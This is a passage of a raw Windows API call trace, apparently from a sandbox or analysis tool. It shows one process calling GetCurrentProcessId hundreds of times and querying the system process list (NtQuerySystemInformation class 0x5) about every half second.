0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.359] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.360] GetCurrentProcessId () returned 0x10c0 [0299.931] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1df38) returned 0x0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.941] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.942] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.943] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.944] GetCurrentProcessId () returned 0x10c0 [0299.945] GetCurrentProcessId () returned 0x10c0 [0299.945] GetCurrentProcessId () returned 0x10c0 [0299.945] GetCurrentProcessId () returned 0x10c0 [0299.945] GetCurrentProcessId () returned 0x10c0 [0299.945] GetCurrentProcessId () returned 0x10c0 [0299.945] GetCurrentProcessId () returned 0x10c0 [0299.945] GetCurrentProcessId () returned 0x10c0 [0299.945] GetCurrentProcessId () returned 0x10c0 [0299.945] GetCurrentProcessId () returned 0x10c0 [0300.512] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1df38) returned 0x0 [0300.521] GetCurrentProcessId () returned 0x10c0 [0300.521] GetCurrentProcessId () returned 0x10c0 [0300.521] GetCurrentProcessId () returned 0x10c0 [0300.521] GetCurrentProcessId () returned 0x10c0 [0300.521] GetCurrentProcessId () returned 0x10c0 [0300.521] GetCurrentProcessId () returned 0x10c0 [0300.521] GetCurrentProcessId () returned 0x10c0 [0300.521] GetCurrentProcessId () returned 0x10c0 [0300.521] GetCurrentProcessId () returned 0x10c0 [0300.521] GetCurrentProcessId () returned 0x10c0 [0300.521] GetCurrentProcessId () returned 0x10c0 [0300.521] GetCurrentProcessId () returned 0x10c0 [0300.521] GetCurrentProcessId () returned 0x10c0 [0300.521] GetCurrentProcessId () returned 0x10c0 [0300.521] GetCurrentProcessId () returned 0x10c0 [0300.521] GetCurrentProcessId () returned 0x10c0 [0300.521] GetCurrentProcessId () returned 0x10c0 [0300.521] GetCurrentProcessId () returned 0x10c0 [0300.521] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.522] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.523] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.524] GetCurrentProcessId () returned 0x10c0 [0300.525] GetCurrentProcessId () returned 0x10c0 [0300.525] GetCurrentProcessId () returned 0x10c0 [0300.525] GetCurrentProcessId () returned 0x10c0 [0300.525] GetCurrentProcessId () returned 0x10c0 [0300.525] GetCurrentProcessId () returned 0x10c0 [0300.525] GetCurrentProcessId () returned 0x10c0 [0300.525] GetCurrentProcessId () returned 0x10c0 [0301.037] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1df38) returned 0x0 [0301.038] GetCurrentProcessId () returned 0x10c0 [0301.038] GetCurrentProcessId () returned 0x10c0 [0301.038] GetCurrentProcessId () returned 0x10c0 [0301.038] GetCurrentProcessId () returned 0x10c0 [0301.038] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.039] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.040] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.041] GetCurrentProcessId () returned 0x10c0 [0301.042] GetCurrentProcessId () returned 0x10c0 [0301.042] GetCurrentProcessId () returned 0x10c0 [0301.549] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1df38) returned 0x0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.551] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.552] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.553] GetCurrentProcessId () returned 0x10c0 [0301.554] GetCurrentProcessId () returned 0x10c0 [0301.554] GetCurrentProcessId () returned 0x10c0 [0301.554] GetCurrentProcessId () returned 0x10c0 [0301.554] GetCurrentProcessId () returned 0x10c0 [0301.554] GetCurrentProcessId () returned 0x10c0 [0301.554] GetCurrentProcessId () returned 0x10c0 [0301.554] GetCurrentProcessId () returned 0x10c0 [0301.554] GetCurrentProcessId () returned 0x10c0 [0301.554] GetCurrentProcessId () returned 0x10c0 [0301.554] GetCurrentProcessId () returned 0x10c0 [0301.554] GetCurrentProcessId () returned 0x10c0 [0301.554] GetCurrentProcessId () returned 0x10c0 [0301.554] GetCurrentProcessId () returned 0x10c0 [0301.554] GetCurrentProcessId () returned 0x10c0 [0301.554] GetCurrentProcessId () returned 0x10c0 [0301.554] GetCurrentProcessId () returned 0x10c0 [0301.554] GetCurrentProcessId () returned 0x10c0 [0301.554] GetCurrentProcessId () returned 0x10c0 [0301.554] GetCurrentProcessId () returned 0x10c0 [0302.064] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1df38) returned 0x0 [0302.065] GetCurrentProcessId () returned 0x10c0 [0302.065] GetCurrentProcessId () returned 0x10c0 [0302.065] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.066] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] GetCurrentProcessId () returned 0x10c0 [0302.067] 